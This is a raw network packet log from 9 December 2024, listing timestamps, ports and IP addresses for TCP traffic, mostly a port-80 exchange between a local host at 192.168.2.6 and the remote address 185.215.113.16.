Dec 9, 2024 21:09:53.185965061 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.186178923 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.186222076 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.186871052 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.187118053 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.187156916 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.187350035 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:53.187380075 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:53.187952995 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.187964916 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.187999964 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.188770056 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:53.189034939 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.189321041 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.189376116 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.190068007 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.190109968 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.190195084 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.190234900 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.191278934 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.191334963 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.191416025 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.191454887 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.192276955 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.192682028 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.192711115 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.192765951 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.193356991 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.193458080 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.194449902 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.194462061 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.194498062 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.194516897 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.194685936 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.194808960 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.195503950 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.195544004 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.196083069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.196177959 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.196607113 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.196645021 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.196862936 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.196904898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.197702885 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.197824001 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.197861910 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.198755980 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.198797941 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.199493885 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.199615955 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.199834108 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.199873924 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.200216055 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.200253963 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.200946093 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.200990915 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.201236963 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.201280117 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.201977968 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.202095032 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.202258110 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.202306032 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.203082085 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.203273058 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.203299999 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.203315973 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.204165936 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.204219103 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.204375982 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.204442978 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.205291986 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.205337048 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.205943108 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.205986023 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.206461906 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.206507921 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.206535101 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.206682920 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.207456112 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.207493067 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.207705975 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.207746983 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.208477974 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.208513975 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.208671093 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.208714008 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.209614038 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.209701061 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.209969997 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.210005045 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.210808992 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.210850000 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.210966110 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.211119890 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.211889982 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.212106943 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.212138891 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.212790966 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.213087082 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.213112116 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.213157892 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.213900089 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.213943958 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.214104891 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.214144945 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.214984894 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.215027094 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.215094090 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.215128899 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.216082096 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.216136932 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.216526031 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.216587067 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.217140913 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.217176914 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.217386007 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.217426062 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.218276978 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.218312979 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.218486071 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.218523979 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.219341040 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.219384909 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.219408989 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.219455957 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.308168888 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:53.355581045 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.355670929 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.355757952 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.355859995 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.356024981 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.356069088 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.356986046 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.357037067 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.357086897 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.358134031 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.358181953 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.358927011 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.359183073 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.359194040 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.359235048 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.360397100 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.360718012 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.360769987 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.361287117 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.361754894 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.361826897 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.362376928 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.362735033 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.362781048 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.363475084 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.363570929 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.364500046 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.364557028 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.364660025 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.364672899 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.364712954 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.365777016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.365818977 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.365933895 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.365974903 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.366755009 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.366794109 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.367034912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.367074966 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.367831945 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.367984056 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.368021965 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.368890047 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.368926048 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.369388103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.369431973 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.370018959 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.370065928 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.370413065 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.370457888 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.371028900 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.371073961 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.371422052 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.371577978 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.372139931 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.372181892 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.372697115 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.372740984 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.373307943 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.373344898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.373414993 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.373454094 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.374342918 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.374420881 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.374952078 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.374994993 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.375472069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.375511885 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.376002073 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.376040936 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.376415014 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.376456976 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.376800060 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.376837015 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.377506971 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.377547979 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.377656937 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.377701044 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.378612041 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.378652096 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.378912926 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.378952026 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.379694939 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.379739046 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.379861116 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.379903078 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.380805969 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.381000042 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.381079912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.381118059 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.381925106 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.381994963 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.382139921 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.382178068 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.382934093 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.383101940 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.383105040 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.383132935 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.384205103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.384252071 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.384424925 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.384466887 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.385201931 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.385237932 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.385685921 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.385831118 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.386220932 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.386261940 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.386339903 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.386382103 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.387300968 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.387475014 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.387610912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.387649059 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.388350964 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.388391972 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.388504982 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.388642073 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.389555931 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.389599085 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.389938116 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.389976978 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.390573978 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.390625954 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.390767097 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.390821934 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.391625881 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.391673088 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.391705036 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.391741991 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.392748117 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.392793894 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.393014908 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.393054962 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.393798113 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.394063950 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.394112110 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.394975901 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.395045042 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.395592928 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.395638943 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.395946980 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.396050930 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.396071911 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.396117926 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.397031069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.397073030 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.397172928 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.397212029 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.398219109 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.398314953 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.398400068 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.398442984 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.399161100 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.399282932 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.399350882 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.399389982 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.400373936 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.400496006 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.400532961 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.400573969 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.401365995 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.401405096 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.401530981 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.401781082 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.402437925 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.402478933 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.403090954 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.403207064 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.403487921 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.403558969 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.403605938 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.403647900 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.404580116 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.404592991 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.404616117 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.404630899 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.405666113 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.405704021 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.405791998 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.405834913 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.406704903 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.406802893 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.406852007 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.407814026 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.408247948 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.408399105 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.408454895 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.408947945 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.408987999 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.409157991 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.409220934 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.410126925 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.410167933 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.410871029 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.410916090 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.411123991 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.411142111 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.411166906 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.411180973 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.412149906 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.412189960 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.534909964 CET	49992	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:53.534970045 CET	443	49992	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:53.535037041 CET	49992	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:53.535320044 CET	49992	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:53.535331011 CET	443	49992	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:53.547815084 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.547868013 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.547930002 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.547970057 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.548415899 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.548471928 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.548475981 CET	80	49969	185.215.113.16	192.168.2.6
